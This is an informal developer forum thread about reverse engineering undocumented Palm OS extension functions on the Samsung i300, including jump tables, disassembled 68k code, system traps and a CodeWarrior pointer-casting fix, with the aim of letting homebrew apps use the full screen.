hey jake, i've got a question about this one.
What if the code is setup such that you can remove
and redraw the grafitti pad with the press of one of the
buttons. (lets say appointment for rightees and memo for
lefties) Basically when you press the button the app is called
and it just does calls the reverse function of what it did
previously. If you do this, will normal, run of the mill applications
be able to take advantage of the full screen?
First this is exceptional work Thanks for doing this. I am, like everyone else (well may 6 or 7 individuals ) just itching to get going writing cool apps for the i300.
So, I am a previously experienced developer in C/C++ and Java, but new to Palm OS and havn't touched C in anger for around 4 years (wow, has it been that long ago).
So the questions/comments below could be niave or frankly just my old memory playing tricks. Please forgive, master.
1) General.
From various postings and samples I see around, I thought the way to direct access OS functions was via a jump table?
See 'HackMaster' stuff for a general view. How you have dis-assembled the code resources is ingenious and looks like a good way of discovering the function signatures (if you are literate in 68 ASM and know how the likely compilers deal with parameter passing on the stack etc.. Unfortunatly I am VERY rusty on that side (also to my shame, when I last looked at assembler, it was Intel 8080)).
I think there are some source code around for some of the 'hacks' that give enough details... I will look into it a bit more tommorrow.
But shouldn't we be then looking at the jump table to find out where these routines should be called from?
Does anyone know how to 'read' the jump table? and then interpret it?
2) on your sample:-
Hmm I tried compiling under MetroWerks Code Warrior I am getting a 'Type error' on the lines that try and apply an offset to the MemPtr
....
initp=ptr_to_res+0x16C;
Now this could be that I am so rusty in C, I just can't remember the rules for void * manipulation and casting it to a function pointer - I presume that CodeWarrior's compiler is stricter than the GNU.
I tried a couple of nasty work arounds that eventually compiled. But when executed on the i300 cause a fatal error requireng the reset. I presume that my inelegant hacking with casting caused the resulting pointer to point to outerspace or somewhere
You make a valid point about the jump table. There are jump tables in fact... phExtnFillEntriesTable seems to build said jump table...
However, I really don't feel like reverse engineering it. It seems to load the array onto the stack at -88(A6) and then writes it to the whatever area you have loaded into the A2 address register. A2 is set by a parameter you pass to the function
PEA $0058.W
PEA -88(A6)
CLR.L -(A7)
MOVE.L (A2),-(A7)
sysTrapDmWrite
So, phExtnFillEntryTable seems to be:
phExtnFillEntryTable(MemPtr jmptable)
However, how do you call phExtnFillEntryTable? The only way I can think of is to get a pointer to the function and execute it.
I think the real problem is that there are ways to access the functions in an 'extn' resource (similar to libr resources and SysLoadLibrary). However, we're not given anything about extn resources, so we kinda have to make it up as we go.
Anyway, if you have any better ideas, I'm willing to hear them.
As for your type errors, I really don't know. It seems like my sample code is valid C (or valid C as far as GCC is concerned...) Never used metrowerks, so can't really help you. Sorry....
Maybe the complete fawning on your vanity is wearing thin... But I was just following some of the earlier styles of posting.
Enough already.
OK. Got your source to compile under Code Warrior. And it RUNS!!! Yipee. Hence the proof that you may be blessed in the intellect deptartment (or very very sad - why arn't you out partying? Come to that, why arn't I?).
Will add change required and why at end of post...
So... Sys Traps, Jump Tables etc...
I will spend copious amounts of time tonight and tommorrw researching the whole thing... but here are my thoughts...
It would seem that the entire OS philosophy is to make the OS accesible only through the jump table... (like the old DOS i seem to remember) all in all a sensible approach. Given that PalmOS is non pre-emptive 'multi-tasking', you are guaranteed that the the address returned from SysGetTrapAddress will be stable during the course of handling an event. But the adress could be relocated during another event (hence you choosing to 'lock the memory').
I would expect that OEM extensions (see VFS in coretypes.h) should follow the same pattern.
Therefore, I would expect Samsung to of already loaded the jump table into memory. Quite how, or when I don't know yet....
The question is... how do we get the address, and how do we then invoke it safely.... hmmmmm... I will try to find more out.
Oh the problem in your source code for the CW compiler is it doesn't like doing pointer arithmatic on void * (which is what a MemPtr is Typedef'd as). It can't decide what size of object the void * is, so doesn't know how to calculate the address. I think this is correct C. It has been a long time, but I remember all of this before... vague images in my long term memory... long nights... Fatal erros... ahhhh....
So you have to explicitly tell it that you want to treat the MemPtr as a char * for it to correctly calculate the offset. Really I should be more specific in this code and declare the precise type that you are counting the offset for.... if that makes any sense...
The problem, if I recall, is that almost everything interesting is lumped under one trap (DispatchPhoenixTrap) I haven't been able to figure out how this function works, cause it does some odd things with the stack pointer... I don't know what's really going on.
Anyway, I haven't really explored all the traps... Here's an idea: write a program that loops through all possible traps (for x=0 to 0xFFFF) and plugs it into the get trap address function. Then check to see if it points to the same spot as a function of interest. If it does, print out the systrap number.
I'm too lazy to write this, and I'm skeptical that it will work. Knock yourself out if you want.
Dunno what your assembly skills are like. Mine were so-so at best, until I really got into the i300. Scroll down in the devboard and look for a thread called "Required reading" to find a really good reference/intro.
Assembly skills are rustier than a very rusty nail. Plus only ever worked in Intel architectures.
Don't know how I missed your 'required reading' thread... Would of saved me some time yesterday poking around in things I don't know anything about.
I have enough with what you have given so far to move to the next stage in my project. Will be revisiting the whole Systrap, Pheonix stuff in two weeks. If I find anything of interest then or in the meantime will let you know.
Incidently, I believe the CodeWarrior debugger will allow you to debug the device via the serial connection - about to shell out the cash to upgrade my demo version to enable this facility. May be a good way of really getting to know what is going on.
) just itching to get going writing cool apps for the i300.
Very interesting...
Login
Panel
